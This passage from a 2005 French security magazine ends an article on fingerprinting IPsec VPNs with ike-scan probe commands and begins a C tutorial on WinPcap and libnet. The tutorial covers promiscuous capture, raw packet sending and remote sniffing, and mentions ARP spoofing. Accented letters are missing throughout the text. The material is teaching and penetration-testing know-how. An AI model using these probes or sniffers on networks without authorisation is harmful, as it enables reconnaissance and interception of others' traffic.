sition n'a t slectionne),
Listing 10. Dcouvrir le nombre maximal des transformations
analyses par Firewall-1
$ ike-scan `perl -e 'print "--trans=2,3,4,5 " x 19 .
"--trans 5,2,1,2";'` 10.0.0.1
Starting ike-scan 1.7 with 1 hosts (http://www.nta-monitor.com/ike-scan/)
10.0.0.1 Main Mode Handshake returned SA=(Enc=3DES Hash=SHA1 Auth=PSK
Group=2:modp1024 LifeType=Seconds LifeDuration(4)=0x00007080)
$ ike-scan `perl -e 'print "--trans=2,3,4,5 " x 20 .
"--trans 5,2,1,2";'` 10.0.0.1
Starting ike-scan 1.7 with 1 hosts (http://www.nta-monitor.com/ike-scan/)
10.0.0.1 Notify message 14 (NO-PROPOSAL-CHOSEN)
Sur Internet
http://www.nta-monitor.com/whitepapers/udp-backoff-whitepaper.pdf livre blanc
sur la technique de fngerprinting de backoff en UDP,
http://www.nta-monitor.com/news/vpn-faws/VPN-Flaws-Whitepaper.pdf livre
blanc dtaillant plusieurs dfauts courants de VPN IPsec,
http://www.nta-monitor.com/ike-scan/index.htm outil ike-scan,
http://www.iana.org/assignments/ipsec-registry numros d'attributs de transfor-
mations IKE attribus par IANA,
http://www.nta-monitor.com/news/checkpoint2004/index.htm exemple de la
technique de fngerprinting de Vendor ID Checkpoint.
hakin9 N 6/2005 www.hakin9.org
Fiche technique
56
Windows 2003 accepte la
transformation mais ne retourne
pas d'attribut relatif la longueur
de la cl.
Chiffrement d'attributs de
longueur variable pour des
valeurs minimes
Il existe deux types d'attributs de trans-
formation : les attributs de base qui
prennent une valeur de 16 bits et les
attributs variables dont la valeur peut
tre de n'importe quelle taille. Une
dure en secondes peut constituer un
exemple d'un attribut variable.
Ike-scan enverra toujours la dure
en secondes en tant qu'un attribut
variable mais le serveur le retourne
parfois comme un attribut de base si la
valeur entre dans le 16 bits. La proc-
dure RFC 2409 l'autorise : Les attributs
de longueur variable PEUVENT tre
chiffrs comme les attributs de base
si leur valeur entre dans deux octets.
Si un attribut de base est retourn,
ike-scan affchera alors la valeur sous
forme d'un nombre dcimal, par exem-
ple : LifeDuration=28800. Si c'est un
attribut variable qui est retourne, ike-
scan affchera alors le nombre d'oc-
tets, suivi de la valeur sous forme d'un
nombre hexadcimal, p. ex. LifeDura
tion(4)=0x00007080. Si vous utilisez la
dure de 28800 secondes par dfaut,
qui entre dans le 16 bits, vous remar-
querez que Cisco VPN Concentrator
et Cisco PIX retournent un attribut de
base en ce qui concerne la dure mais
Checkpoint Firewall-1, Nortel Contivity
et Windows 2003 retournent un attri-
but de longueur variable.
Nombre maximal de
transformations analyses
Le nombre des transformations
qui peuvent se trouver dans une
proposition SA n'est limit que par
la taille maximale du datagramme
IP qui s'lve 64 Ko. Ceci per-
met donc d'effectuer environ 1800
transformations. Toutefois, la plupart
des implmentations IPsec n'effec-
tueront qu'un nombre restreint de
transformations. Cette restriction
dpend des implmentations mais
en gnral, elle est plus petite qu'en
thorie.
RFC 2409 autorise une restric-
tion du nombre des transformations
supportes ; d'aprs cette proc-
dure : Il n'existe aucune restriction
en ce qui concerne le nombre des
propositions que l'initiateur peut
envoyer un serveur/rpondeur
mais les implmentations conformes
PEUVENT choisir de limiter le nom-
bre des propositions analyser pour
des raisons de performance.
Pour dterminer le nombre
maximal des transformations qu'une
implmentation donne analysera,
vous envoyez un certain nombre
des transformations inacceptables,
suivi d'une transformation accep-
table ; vous variez le nombre des
transformations inacceptables pour
trouver le point o le serveur VPN
n'accepte plus la proposition. Puisque
vous avez souvent besoin de gnrer
des centaines de transformations,
il est plus facile d'utiliser un simple
script Perl pour gnrer les options
ike-scan. titre d'exemple, si vous
savez que le serveur VPN accep-
tera une transformation avec des
attributs Enc=3DES, Hash=SHA1,
Auth=PSK, Group=2, et n'accep-
tera pas une transformation avec
des attributs Enc=IDEA, Hash=Tiger,
Auth=RSA_enc, Group=5, vous pou-
vez envoyer une proposition avec 99
transformations non valables, suivie
d'une transformation valable au ser-
veur VPN au 10.0.0.1 avec : ike-scan
`perl -e 'print "--trans=2,3,4,5 "
x 99 . "--trans 5,2,1,2";'` 10.0.0.1.
Si le serveur VPN rpond par un
message de prise de contact (hands-
hake), vous savez alors qu'il supporte
au moins 100 transformations.
titre d'exemple, dans le cas de
Checkpoint Firewall-1, il a t constat
qu'il analyse vingt transformations au
maximum. Le Listing 10 prsente les
rponses du Firewall-1 : tout d'abord
avec vingt transformations et ensuite,
avec vingt-et-une transformations.
Conclusion
La technique de dtection et de prise
d'empreinte des VPN IPsec est trs
utile et devrait faire partie de tout test
d'intrusion. Mme s'il n'y a aucune
vulnrabilit dans l'implmentation
IPsec, la technique de fngerprinting
peut fournir des informations utiles,
par exemple : des dtails sur le
pare-feu, ce qui aidera dans les tests
d'autres terrains.
La complexit du protocole IP-
sec, et en particulier de IKE, justife
la prsence des diffrences entre les
implmentations. L'article a prsent
seulement de quelques mthodes de
fngerprinting possibles dveloppes
depuis plusieurs annes. Srement
de nombreuses mthodes restent
encore dcouvrir. l
propos de l'auteur
Roy Hills a fond NTA Monitor Ltd,
une socit britannique charg des
tests de scurit. Il est l'auteur de l'outil
ike-scan, charg d'examiner la scurit
IPsec. Il a galement trouv plusieurs
vulnrabilits l'aide de cet outil dans
les produits en provenance de Check-
point, Cisco, Nortel et Juniper.
Glossaire
VPN (Virtual Private Network) permet aux rseaux locaux de communiquer via les
rseaux publics, comme Internet, en gnral, travers un canal chiffr,
IPsec (Internet Protocol SECurity) fonctions de scurit (authentifcation et
chiffrement) implmentes au niveau IP de la pile de protocoles. La majorit des
implmentations VPN se servent de IPsec,
IKE (Internet Key Exchange) protocole utilis par IPsec pour changer de cls et
authentifer les utilisateurs ou les priphriques aux deux bouts de VPN. IKE est
dfni dans la procdure RFC 2409,
SA (Security Association) canal de communication scuris. Les dtails SA
incluent les mthodes de chiffrement et d'authentifcation, les cls de chiffrement
et les identifcateurs de points d'extrmit. La charge SA dans un paquet IKE est
utilise pour ngocier une association de scurit (SA).
www.hakin9.org hakin9 N 6/2005 58
Programmation
C
hez moi, tout fonctionne bien c'est
la rponse la plus probable donne
par l'administrateur l'utilisateur
se plaignant de problmes. En gnral, l'adminis-
trateur a raison, car cest une faute de l'utilisateur
qui ne suit ni indications ni conseils. Pourtant, ce
bon administrateur peut se trouver un jour dans
une situation identique il est sr d'avoir tout
bien confgur conformment aux instructions,
mais malgr cela, quelque chose peut venir
mal fonctionner.
Si la confguration est correct ainsi que les
erreurs connues limines, il ne reste qu' cher-
cher plus profondment. L'identifcation des er-
reurs peut tre effectue l'aide dapplications
telles que Ethereal ou Analyzer, permettant
d'intercepter, fltrer et identifer les paquets ar-
rivant sur chaque ordinateur du rseau. Grce
ces programmes, l'administrateur saura ce
qui est actuellement envoy chaque station
via le rseau, et il sera capable d'identifer la
source des problmes.
Si le problme s'avre plus grave et exige
d'tre analys plus profondment, il sera n-
cessaire d'crire une application spcialement
ddie celui-ci. Elle permettra de suivre le pro-
blme et de retrouver les dpendances entre les
donnes provenant de sources distantes. Il n'est
pas facile d'crire un tel programme, et l'un des
principaux problmes est le choix d'une biblioth-
que d'accs au rseau approprie, avec la prise
en compte de la couche ISO/OSI sur laquelle elle
opre. En fonction de l'ampleur du problme, le
Plein contrle ou accs de
bas niveau au rseau
Konrad Malewski
Degr de diffcult
Il n'est pas facile d'crire des applications exigeant l'accs
la plupart des couches ISO/OSI : il est parfois ncessaire de
construire des paquets envoyer de faon non standard. Une aide
excellente sont les bibliothques WinPcap et libnet grce elles,
l'utilisateur peut contrler tous les paquets envoys via le rseau.
Cet article explique...
comment intercepter tous paquets vus par la
carte rseau et comment les flter l'aide de
mcanisme conforme tcpdump,
comment envoyer des trames Ethernet,
comment construire un paquet rseau correct
dans chacune des couches ISO/OSI l'aide de
la bibliothque libnet et l'envoyer via nimporte
quelle interface,
comment crire un sniffeur personnel pouvant
intercepter des donnes traites sur une ma-
chine distante.
Ce qu'il faut savoir...
connatre le modle ISO/OSI,
les notions de base sur le fonctionnement du
rseau TCP/IP,
la programmation en C/C++.
Accs de bas niveau au rseau
hakin9 N 6/2005 www.hakin9.org 59
programme aura besoin, par exemple,
d'accder la couche de liaison de
donnes, il se peut qu'il ncessitera
d'oprer directement sur les trames
ethernet. En d'autres cas, il sufft
d'utiliser une bibliothque de niveau
d'abstraction lev fonctionnant sur la
couche de transport.
L'essentiel c'est une
bonne bibliothque
L'utilisation d'une interface rseau
de haut niveau a beaucoup d'avanta-
ges. L'un d'eux est la simplicit d'em-
ploi et l'universalit des mcanismes
d'envoi de donnes. Aprs quelques
temps, l'administrateur consta-
tera qu'une API de haut niveau ne
lui donne pas le plein contrle sur les
donnes envoyes, sans pour autant
parler de l'coute ou de l'analyse des
trames rseau brutes.
Le problme du contrle des
donnes envoyes peut tre rsolut
de plusieurs manires. La plus sim-
ple consiste employer des sockets
rseau bruts (en anglais raw socket),
mais dans ce cas, il est impossible
de commander toutes les options
des paquets envoys une partie du
champs dans les en-ttes est gre
par le pilote des sockets. Pour vous
faciliter la vie, vous pouvez employer
la bibliothque WinPcap, disponible
l'adresse http://www.winpcap.org/.
Cette bibliothque permet non
seulement l'enregistrement et la
lecture de bas niveau partir des
priphriques rseau, mais aussi
le fltrage avanc des donnes qui
sont mises systmatiquement sur
coute ainsi que la mise en page
des statistiques de chaque interface.
Une possibilit supplmentaire est
l'enregistrement directe des paquets
sur le disque dur effectu au niveau
du noyau systme. Cela amliore
de faon importante la performance
de l'enregistrement en rduisant le
temps des appels systme.
L'interface de la bibliothque est
claire et simple d'emploi, mais ne four-
nit pas de mcanismes supportant la
cration des paquet de niveaux plus
levs. Ici, c'est la bibliothque libnet
(http://www.packetfactory.net/libnet/ )
qui peut vous aider. Les fonctions
qu'elle offre permettent de construire
plus facilement des paquets de ni-
veaux levs, tels que ARP, IP, TCP,
ou mme plus rare comme VRRP
et de les envoyer vers le rseau de
manire ne pas tre contrle par le
pilote TCP/IP.
Structure de WinPcap
La bibliothque WinPcap se compose
de trois composants d'un pilote
fonctionnant en mode noyau de bas
niveau, d'une bibliothque de bas ni-
veau packet.dll, et d'une bibliothque
de haut niveau wpcap.dll indpen-
dante du systme. Le pilote du noyau
s'occupe de la fonctionnalit de la
bibliothque et communique directe-
ment avec les pilotes des interfaces
rseau. Le module du noyau, appel
par les auteurs de la bibliothque :
Netgroup Packet Filter (en abrg
NPF), fonctionne en tant que pilote
NDIS Protocol Driver (de mme que
le pilote TCP/IP intgr dans le syst-
me Windows). Cela lui permet l'accs
au pilote de la carte rseau qui serait
indpendant de la couche MAC. Pour
chaque version du systme d'exploita-
Figure 1. Les couches ISO/OSI et les protocoles correspondants
Figure 2. Les protocoles disponibles dans libnet
Figure 3. La structure rseau du
systme Windows
hakin9 N 6/2005 www.hakin9.org
Programmation
60
tion (Windows 95/98/ME/NT4/2000/
XP), un autre pilote est fourni.
Le pilote fonctionnant en mode
noyau serait inutile sans biblioth-
ques fonctionnant en mode utilisa-
teur qui permettent de profter des
proprits de celui-ci. WinPcap con-
tient deux bibliothques communi-
quant avec le module du noyau et qui
offrent une interface de bas niveau
(dans la bibliothque packet.dll)
et de haut niveau (dans la biblioth-
que wpcap.dll). Le premier permet un
appel direct des fonctions des pilotes
du noyau, et le second offre une
interface indpendante du systme
et conforme au libpcap de *NIX.
Programmation de WinPcap
L'utilisation d'une interface conforme
libnet permet lcriture de program-
mes portables fonctionnant aussi
bien sous Windows que sous Linux.
Le travail avec cette bibliothque
peut tre divis en trois tapes :
l'initialisation (le choix du priphri-
que rseau, l'application des fltres
et l'ouverture de l'interface), le travail
avec le priphrique (le chargement
et l'envoi des paquets) et la libration
des ressources alloues.
Le premier pas consiste charger
tous les identifcateurs dinterfaces
disponibles dans le systme. Pour
cela, on dispose de la fonction deux
arguments pcap _ fndalldevs(), dont
le premier argument est un pointeur
vers la structure pcap _ if _ t, et le
deuxime un pointeur vers le tam-
pon stockant les erreurs. Quant la
structure pcap _ if _ t, ce qui vous
intressent, sont les valeurs des
deux champs : name et description.
La fonction pcap _ fndalldevs() a une
porte locale. Cela veut dire qu'elle
ne permet que de rechercher les p-
riphriques disponible de l'ordinateur
sur lequels le programme a t lanc.
La plupart des fonctions WinPcap
opre sur la structure identifant l'in-
terface (pcap _ t). Pour initialiser cette
variable, il faut utiliser par exemple
la fonction pcap _ open(), dont les
tches consistent, entre autres,
ouvrir le priphrique et initiali-
ser les tampons. L'exemple du code
permettant de choisir le priphrique
Compilateur
Pour compiler le programme utilisant
les bibliothques WinPcap et libnet, on
peut faire appel la plupart des com-
pilateurs disponibles sur le march.
moins que la bibliothque WinPcap
ne soit disponible que pour la plate-
forme Windows, libnet peut tre com-
pile sous Linux comme FreeBSD.
Pour la compilation, on peut utiliser
par exemple le gratuiciel gcc, ou Visual
Studio .NET qui est commercialis. At-
tention un problme peut se produire
dans le cas du compilateur Borland
C++ Builder qui utilise un format de
bibliothques diffrent appel OMF
(en anglais Object Module Format).
Pour pouvoir en profter, il faut convertir
les bibliothques compiles du format
COFF (en anglais Common Object File
Format) en OMF. Pour ce faire, on peut
utiliser l'outil coff2omf.exe, disponible
avec le logiciel de l'entreprise Borland.
Listing 1. Le choix de l'interface et l'initialisation de la bibliothque
WinPcap
pcap_if_t *alldevs,*d;
pcap_t *fp;
char errbuf[PCAP_ERRBUF_SIZE+1];
int i=0,inum=0;
/* Retrouver les interfaces WinPcap */
if (pcap_fndalldevs(&alldevs, errbuf) == -1)
{
fprintf(stderr,"Error in pcap_fndalldevs: %s\n", errbuf);
return -1;
}
/* Saisir la liste des interfaces */
for(d=alldevs; d; d=d->next)
{
printf("%d.\t%s", ++i, d->name);
if (d->description)
printf("\n\t\t(%s)\n", d->description);
else
printf(" (No description available)\n");
}
if(i==0)
{
printf("\nNo interfaces found! Make sure WinPcap is installed.\n");
return -1;
}
printf("Enter the interface number (1-%d):",i);
scanf("%d", &inum);
if(inum < 1 || inum > i)
{
printf("\nInterface number out of range.\n");
/* Librer les ressources rseau */
pcap_freealldevs(alldevs);
return -1;
}
/* Sauter au priphrique rseau slectionn */
for(d=alldevs, i=0; i< inum-1 ;d=d->next, i++);
/* Ouvrir le priphrique rseau */
if ( (fp=pcap_open(d->name,
100 /*snaplen*/,
PCAP_OPENFLAG_PROMISCUOUS /*fags*/,
20 /*read timeout*/,
NULL /* remote authentication */,
errbuf)
) == NULL)
{
fprintf(stderr,"\nError opening adapter\n");
pcap_freealldevs(alldevs);
return -1;
}
Accs de bas niveau au rseau
hakin9 N 6/2005 www.hakin9.org 61
rseau et d'initialiser les variables a
t prsent dans le Listing 1.
Les paramtres de la fonction
pcap _ open() sont respectivement : le
nom de l'interface, la taille maximale
du paquet, le drapeau dterminant si
l'interface sera ouvert en mode pro-
miscuous, la dure d'attente du paquet
par la fonction chargeant les paquets,
la variable responsable de l'autorisa-
tion sur une machine distante (utilise
en cas d'une interception distante des
paquets) et le tampon stockant les
messages d'erreur.
Le mode promiscuous doit tre
activ au cas o l'on veut intercepter
les paquets adresss aux autres uti-
lisateurs du rseau. Si votre carte r-
seau est connect un commutateur
(switch) au lieu dun concentrateur
(hub), le fait de commuter la carte ne
produira pas l'effet attendu. Cela r-
sulte du schma de fonctionnement
du commutateur. Dans cette situa-
tion, il faut soit exploiter l'interception
des paquet distance, soit essayer
de contraindre le commutateur tra-
vailler en mode multiplicateur. C'est
possible, par exemple, l'aide de la
mthode ARP spoofng.
La fermeture de l'interface se fait
au moyen de la fonction a un argu-
ment pcap _ close(), dont l'argument
est la variable de type pcap _ t. Lors
de la fermeture de l'application, il
faut librer les ressources alloues
par pcap _ fndalldevs(). Pour cela,
il faut excuter la fonction pcap _
freealldevs().
couter le rseau
Le tlchargement des paquets r-
seau peut se faire de deux manires
par le chargement squentielle des
paquets et par l'enregistrement de la
fonction qui sera appele aprs un
certain nombre de paquets obtenus.
Dans cet article, seulement une d'elles
sera prsente laide de la fonction
pcap _ next _ ex(). Les paramtres de
cette fonction sont : le pointeur vers
l'identifcateur WinPcap (pcap _ t),
le pointeur vers la structure de l'en-
tte du paquet (struct pcap _ pkthdr
contenant des informations telles
que le temps de paquet et la taille des
donnes) et le pointeur vers le tableau
dans lequel le contenu du paquet sera
enregistr. Le Listing 2 illustre com-
ment profter de ce mcanisme.
la suite de l'excution du code
ci-dessus, le contenu du paquet in-
tercept, similaire celui prsent
dans le Listing 3, sera affch sur
l'cran. Ensuite, le dveloppeur doit
identifer les en-ttes des protocoles
des couches conscutives. moins
de dterminer le type de couche
de liaison de donnes l'aide de la
fonction pcap _ datalink(), l'analyse
de la suite du paquet doit tre effec-
tue manuellement.
La bibliothque offre la possi-
bilit de fltrer le trafc rceptionn.
Le fltre appliqu est conforme
la spcifcation disponible sur le
site http://www.tcpdump.org et aide
effectuer une slection dtaille
des paquets. Le fltre doit tre conf-
gur aprs l'initialisation de l'interfa-
ce ; le fltre WinPcap est une fonction
boolenne dont l'argument est le pa-
quet, la valeur retourne dcide de
l'acceptation ou du refus d'un paquet
(0 = faux, 1 = vrai).
Pour acclrer l'excution de la
fonction de fltrage, la bibliothque
WinPcap compile pendant le fonction-
nement l'expression fltrante qui prend
une forme binaire. Elle est stocke
dans la structure struct bpf _ program,
et compile l'aide de la fonction
pcap _ compile(). Aprs la compilation
du fltre, celui-ci est appliqu sur l'inter-
face par la fonction pcap _ setflter().
L'exemple d'un code ralisant le fl-
trage est prsent dans le Listing 4.
Envoi des paquets
Les possibilits de la bibliothque ne
se limitent pas la consultation et au
fltrage des paquets ; WinPcap per-
met aussi l'envoi de paquets bruts.
Cette proprit de la bibliothque
est appele dans la documentation
Windows specifc et l'API responsa-
ble de l'envoi n'est pas conforme la
spcifcation libpcap. Pour envoyer
une portion de donnes brutes dans
le rseau, il faut utiliser la fonction
pcap _ sendpacket(). Le Listing 5
prsente comment envoyer un tel
paquet.
Listing 2. La boucle principale interceptant les paquets
struct pcap_pkthdr *header;
const u_char *pkt_data;
int res;
/* Lire les paquets et les crire sur l'cran*/
while((res = pcap_next_ex( fp, &header, &pkt_data)) >= 0)
{
if(res == 0) /* Le temps d'attente du paquet a dpass */
continue;
/* Saisir le temps de rception du paquet et sa taille */
printf("%ld:%ld (%ld)\n", header->ts.tv_sec,
header->ts.tv_usec, header->len);
/* Saisir le contenu du paquet */
for (i=1; (i < header->caplen + 1 ) ; i++)
{
printf("%.2x ", pkt_data[i-1]);
if ( (i % LINE_LEN) == 0) printf("\n");
}
printf("\n\n");
}
Listing 3. Le contenu du paquet intercept
1119431977:531612 (74)
00 0b 6a 8d 54 15 00 a1 b0 08 8b cc 08 00 45 00
00 3c 22 b6 00 00 80 01 94 b5 c0 a8 01 03 c0 a8
01 02 00 00 4f 5c 02 00 04 00 61 62 63 64 65 66
67 68 69 6a 6b 6c 6d 6e 6f 70 71 72 73 74 75 76
77 61 62 63 64 65 66 67 68 69
hakin9 N 6/2005 www.hakin9.org
Programmation
62
Sniffeur distant
Imaginez la situation o vous devez
crire une application fonctionnant
comme moniteur rseau et oprant
sur des donnes distantes (cf. la
Figure 4). Mme si l'coute du trafc
des ordinateurs 2, 3 et 5 soit simple
raliser au moyen des fonctions
WinPcap dont il a t dj parl,
l'coute du trafc dans la station 1 et 4
peut, premire vue, poser de pro-
blmes ces postes sont situs hors
rseau de la station de surveillance
dans lequel se trouve le sniffeur.
Il s'avre aussi que dans ce cas,
il est possible d'exploiter la biblioth-
que WinPcap car elle permet linter-
ception distante des paquets. Deux
parties interviennent dans le sch-
ma : un sniffeur (un coutant) et un
client qui envoie les commandes et
rceptionne les paquets interceptes
par l'ordinateur effectuant l'coute.
Cette possibilit a t introduite
dans la troisime version de la biblio-
thque et est en phase d'exprimen-
tations, pourtant, elle fonctionne assez
bien et on peut l'utiliser. De plus, cette
fonctionnalit n'est pas exigeante de
trop grosses modifcations du code
source ne sont pas ncessaires. Si le
programme du client a bien t crit,
aucune modifcation n'est ncessaire.
Pour que le sniffng distance
fonctionne, il faut confgurer l'ordina-
teur qui coute de faon approprie.
Outre l'installation de la bibliothque,
il faut lancer le service rpcapd qui ef-
fectue l'coute et envoie les donnes
vers le client.
Vous pouvez activer ce service
de deux manires : l'aide de la ligne
de commande, lancez le programme
rpcapd.exe ou l'aide de MMC
et son complment Service lancez
Remote Packet Capture Protocol v.0
(experimental). Dans le deuxime
cas, les options de confguration
sont prsentes dans le fchier .ini
(l'emplacement par dfaut : C:\
Listing 4. Le fltrage du trafc
struct bpf_program fcode;
bpf_u_int32 NetMask=0xffffff;
char* flter = "icmp";
/* Compiler le fltre */
if(pcap_compile(fp, &fcode, flter, 1, NetMask) < 0)
{
fprintf(stderr,"\nError compiling flter: wrong syntax.\n");
return -1;
}
/* Confgurer le fltre */
if(pcap_setflter(fp, &fcode)<0)
{
fprintf(stderr,"\nError setting the flter\n");
return -1;
}
Listing 5. L'envoi des trames ethernet
u_char memtowrite[pkt_len];
/* << Ici, on formate le paquet ethernet
** en confgurant ses champs respectifs
** Ensuite, on l'envoie dans le rseau */
int result = pcap_sendpacket (fp, (u_char *) &memtowrite, pkt_len);
if (result == -1)
{
fprintf(stderr,"\nError sending packet\n");
return;
}
Figure 4. L'architecture d'un sniffeur distant possible raliser
Accs de bas niveau au rseau
hakin9 N 6/2005 www.hakin9.org 63
Program Files\WinPcap\rpcapd.ini).
Dans le premier cas, les options sont
dfnies directement dans la ligne de
commande :
rpcapd [-b <address>] [-p <port>]
[-6] [-l <host_list>]
[-a <host,port>] [-n] [-v] [-d]
[-s <fle>] [-f <fle>]
Le service peut tre lanc en deux
modes :
passif,
actif.
En mode passif, la station de sur-
veillance (client) se connecte au servi-
ce distant, lui envoie les commandes
qui permettent au service d'intercepter
les trames et les envoie vers le client.
Ce mode est un mode par dfaut.
En mode actif, le service distant
essaie d'tablir la connexion avec
le client qui, aprs rception de la
connection envoie les commandes
pour commencer l'coute rseau.
Ce mode est employ en cas de pr-
sence de pare-feux lintrieur des
rseaux mis sur coutes. Si un pare-
feu refuse les connexions entrantes,
mais laisse chapper les connexions
sortantes, il faut utiliser ce mode.
Une fois la connexion tablie aussi
bien en mode actif que passif les
communications vers le client et vers
le service sont identiques.
De mme qu'en cas de travail en
local, il faut slectionner un priphri-
que distant ouvrir. Pour avoir la liste
des priphriques, on peut utiliser la
fonction pcap _ fndalldevs _ ex() qui,
prend l'argument de type pcap _
rmtauth. Cette variable dtermine le
type et les paramtres dautorisation
sur la machine distante. Les options
possibles sont : RPCAP _ RMTAUTH _ PWD
en cas d'authentifcation par nom
utilisateur et mot de passe et RPCAP _
RMTAUTH _ NULL en cas de manque
d'authentifcation (c'est ce qu'on
appelle lauthentifcation NULL). Le
premier paramtre de la fonction
recherchant les interfaces dfnit
quelle interface, locale ou distante,
sera ouverte et pointe vers l'adresse
d'hte ainsi que son port.
Les schmas possibles pour ce pa-
ramtre sont :
fle://folder/ affche la liste des
fchiers dans un rpertoire,
rpcap:// affches toutes les in-
terfaces locales,
rpcap://host:port/ comme
ci-dessus, mais concerne l'hte
distant.
Sil s'agit de l'expression host:port,
la bibliothque admet :
hte (en lettres) : par exemple
www.hakin9.org,
hte (en chiffres IPv4) : par
exemple 157.158.181.42,
hte (en chiffres IPv4, IPv6) : par
exemple [157.158.181.42],
hte (en chiffres IPv6) : par
exemple [1:2:3::4],
port : en chiffres (par exemple 80)
ou en lettres (par exemple ftp).
la suite de l'emploi de la fonction
pcap _ fndalldevs _ ex(), la liste des
noms des interfaces retournes (le
champ name dans la structure de type
pcap _ if _ t) sera aussi conforme
au schma mentionn ci-dessus
(rpcap://adresse:port/). Si on d-
fnit manuellement l'interface du
priphrique ouvert (le paramtre
source de la fonction pcap _ open()),
il est interdit d'utiliser rpcap:// pour
ouvrir la premire interface locale et
rpcap://host/ pour ouvrir la premire
interface sur la machine distante
(cf. le Listing 6).
Il ne faut pas oublier d'utiliser la
variable de type pcap _ rmtauth lors
de l'appel de la fonction pcap _ open().
Sinon, le systme distant ne permet-
tra pas d'ouvrir le priphrique. Ces
petites modifcations permettent
d'exploiter pleinement le priphri-
que distant. Le reste du programme
(la partie responsable du fltrage, du
tlchargement et de l'envoi des pa-
quets) ne change pas.
Comme il a t dj mentionn,
WinPcap peut fonctionner en mode
actif et passif. Cette mthode dcrit
Tableau 1. La description des options du programme rpcapd.exe
Options Description
-b <address>
Confgure l'adresse sur lequel le service effectuera
l'coute. Par dfaut, ce service coute autant sur une
adresse IPv4 qu'IPv6.
-p <port>
Dtermine le port sur lequel le service coute. Par
dfaut, c'est le port 2002.
-4
Le service n'coute que sur l'adresse IPv4.
-l <host _ list _
fle>
Dtermine le fchier contenant la liste des htes pou-
vant se connecter au service, diviss par les sauts de
ligne.
-n
Permet d'omettre l'autorisation. Par dfaut, il faut indi-
quer dans le paramtre de la fonction le nom et le mot
de passe utilisateur.
-a <host, port>
Lance le service en mode actif et le contraint se
connecter l'ordinateur dfnit par les paramtres. Si
le port n'est pas dtermin, par dfaut le port 2003 est
utilis.
-v
Lance le service uniquement en mode actif. Par dfaut,
aprs la saisie du paramtre, le service coute aussi
en mode passif.
-d
Lance le service (ou dmon sur un systme de type
*NIX).
-s <fle>
Enregistre la confguration actuelle dans un fchier.
-f <fle>
Lit la confguration du fchier.
-h
Affche la liste des commutateurs avec leur description.
hakin9 N 6/2005 www.hakin9.org
Programmation
64
le mode de connexion passif. Pour
lancer l'interception en mode actif,
il faut commencer modifer les
paramtres de la machine intercep-
tant les paquets en ajoutant l'option
-a la commande permettant de
dmarrer le service rpcapd ou lan-
cer ce mode partir de la ligne de
commande :
rpcapd.exe -a<adresse de la station> -v
Ensuite, il faut modifer le code de
faon ce qu'avant la recherche de
priphriques par la fonction pcap _
fndalldevs _ ex(), celui-ci attende
et accepte les connexions d'un ser-
vice distant (cf. le Listing 7).
Le mode actif n'est donc accessi-
ble qu'au moyen d'une seule fonction.
Il sufft de lui donner en paramtres
la liste des adresses que le service
doit couter ainsi que le port et la liste
des htes pouvant se connecter pour
dterminer les paramtres de con-
nexion. La fonction retourne le nom de
l'hte qui est actuellement connect.
La valeur de type SOCKET retour-
ne par la fonction pcap _ remoteact _
accept() est un peu trompeuse. Ce
n'est pas un socket rseau, mais
la valeur identifant la connexion
active et utilise intrieurement par
WinPcap.
De mme que dans le mode pas-
sif, le reste du code ne change pas.
Une fois le travail avec l'interface
distant termin, il faut terminer la
connexion et librer les ressources
(pcap _ remoteact _ close(), pcap _
remoteact _ cleanup()).
Aide de WinPcap
La confguration manuelle des proto-
coles du model ISO/OSI peut sav-
rer intressante car on peut contrler
pleinement ce que l'on envoie sur
le rseau. Pourtant, certaines op-
rations peuvent tre automatises
grce l'utilisation de la bibliothque
libnet, sans perdre pour autant le
contrle de son contenu.
Initialisation de libnet
La bibliothque libnet est initialise
de faon similaire WinPcap. Pour
cela, vous disposez de la fonction
libnet _ init() dont les trois argu-
ments sont : la mthode d'injection
des paquets, le nom du priphri-
que (l'argument similaire celui de
WinPcap) et le tampon stockant les
erreurs.
Listing 6. L'initialisation de la bibliothque et l'ouverture d'un
priphrique distant
pcap_if_t *alldevs,*d;
pcap_t *fp;
char errbuf[PCAP_ERRBUF_SIZE+1];
int i=0,inum=0;
struct pcap_rmtauth auth;
#defne RC_HOST_NAME "192.168.0.9:2002"
/* Confgurer le mode d'autorisation utilisant le nom
et le mot de passe utilisateur */
auth.type = RPCAP_RMTAUTH_PWD;
auth.username = "koyot";
auth.password = "walec4tylkokampi";
/* Trouver les interfaces WinPcap */
if (pcap_fndalldevs_ex
(PCAP_SRC_IF_STRING RC_HOST_NAME, /* rpcap://host:port/ */
&auth, /* Autorisation distante */
&alldevs, /* Liste de priphriques */
errbuf) == -1)
{
fprintf(stderr,"Error in pcap_fndalldevs: %s\n", errbuf);
return -1;
}
/* crire la liste des interfaces */
for(d=alldevs; d; d=d->next)
{
printf("%d.\t%s", ++i, d->name);
if (d->description)
printf("\n\t\t(%s)\n", d->description);
else
printf(" (No description available)\n");
}
if(i==0)
{
printf("\nNo interfaces found! Make sure WinPcap is installed.\n");
return -1;
}
printf("Enter the interface number (1-%d):",i);
scanf("%d", &inum);
if(inum < 1 || inum > i)
{
printf("\nInterface number out of range.\n");
/* Librer les ressources rseau */
pcap_freealldevs(alldevs);
return -1;
}
/* Sauter au priphrique rseau slectionn */
for(d=alldevs, i=0; i< inum-1 ;d=d->next, i++);
/* Ouvrir le priphrique rseau */
if ( (fp=pcap_open(d->name, /* Nom du priphrique */
100, /* Taille des donnes interceptes */
PCAP_OPENFLAG_PROMISCUOUS, /* drapeaux */
20, /* Le temps aprs lequel le timeout aura lieu */
&auth, /* Autorisation distante */
errbuf)
) == NULL)
{
fprintf(stderr,"\nError opening adapter\n");
pcap_freealldevs(alldevs);
return -1;
}
Accs de bas niveau au rseau
hakin9 N 6/2005 www.hakin9.org 65
libnet_t * libnet_init
(int injection_type,
char *device,
char *err_buf)
La fonction initialisant retourne le
pointeur ce que lon appelle con-
texte du priphrique qui est exploit
dans les autres fonctions de libnet.
Pour fermer ce contexte, on utilise la
fonction libnet _ destroy(), qui libre
aussitt les ressources alloues.
void libnet_destroy
( libnet_t * l )
La bibliothque libnet peut exploiter
aussi bien les sockets bruts que les
fonctionnalits fournies par WinPcap
et plus prcisment lAPI con-
forme libpcap. Pour dterminer la
couche laquelle l'on veut envoyer
les paquets, on dispose du param-
tre injection _ type de la fonction
libnet _ init(). Toutes les valeurs
possibles apparaissent comme
paires dont l'une se termine par le
suffxe _ ADV. Il permet d'utiliser des
fonctions supplmentaires inacces-
sibles pour une interface ouverte
en mode ordinaire, telles que, par
exemple, l'accs aux tampons utiliss
pour stocker les paquets construits.
Construction du paquet
Libnet permet la cration de plusieurs
en-ttes de diffrents protocoles. La
construction d'un paquet se fait
